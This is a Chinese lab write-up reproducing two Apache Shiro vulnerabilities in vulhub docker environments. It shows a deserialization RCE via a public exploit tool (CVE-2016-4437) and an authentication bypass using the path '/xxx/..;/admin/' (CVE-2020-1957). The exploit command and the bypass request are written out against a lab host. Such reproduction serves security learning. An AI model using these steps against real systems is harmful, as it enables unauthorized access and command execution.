vulhub漏洞复现62_Shiro
一、 CVE-2016-4437_ Apache Shiro 1.2.4反序列化漏洞
前言
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
漏洞详情
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
漏洞环境
靶场:192.168.4.10_ubuntu
执行如下命令启动一个使用了Apache Shiro 1.2.4的Web服务:
#docker-compose up -d
服务启动后,访问`http://your-ip:8080`可使用`admin:vulhub`进行登录,判断环境存在shiro,查看返回包中Set-Cookie中是否存在rememberMe=deleteMe.

漏洞复现
使用https://github.com/insightglacier/Shiro_exploit工具复现
#python3 shiro_exploit.py -t 3 -u http://192.168.4.10:8080 -p "touch /tmp/success"

容器查看创建成功

二、 CVE-2020-1957_Apache Shiro 认证绕过漏洞
前言
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
漏洞详情
在Apache Shiro 1.5.2以前的版本中,在使用Spring动态控制器时,攻击者通过构造`..;`这样的跳转,可以绕过Shiro中对目录的权限限制。
参考链接:
-<https://github.com/apache/shiro/commit/3708d7907016bf2fa12691dff6ff0def1249b8ce#diff-98f7bc5c0391389e56531f8b3754081aL139>
- <https://xz.aliyun.com/t/8281>
- <https://blog.spoock.com/2020/05/09/cve-2020-1957/>
环境搭建
执行如下命令启动一个搭载Spring 2.2.2与Shiro 1.5.1的应用:
#docker-compose up -d
环境启动后,访问`http://your-ip:8080`即可查看首页。

这个应用中对URL权限的配置如下:
```java
@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
chainDefinition.addPathDefinition("/logout", "logout");
chainDefinition.addPathDefinition("/admin/**", "authc");
return chainDefinition;
}
```
漏洞复现
直接请求管理页面`/admin/`,无法访问,将会被重定向到登录页面:

构造恶意请求`/xxx/..;/admin/`,即可绕过权限校验,访问到管理页面:
更多推荐

所有评论(0)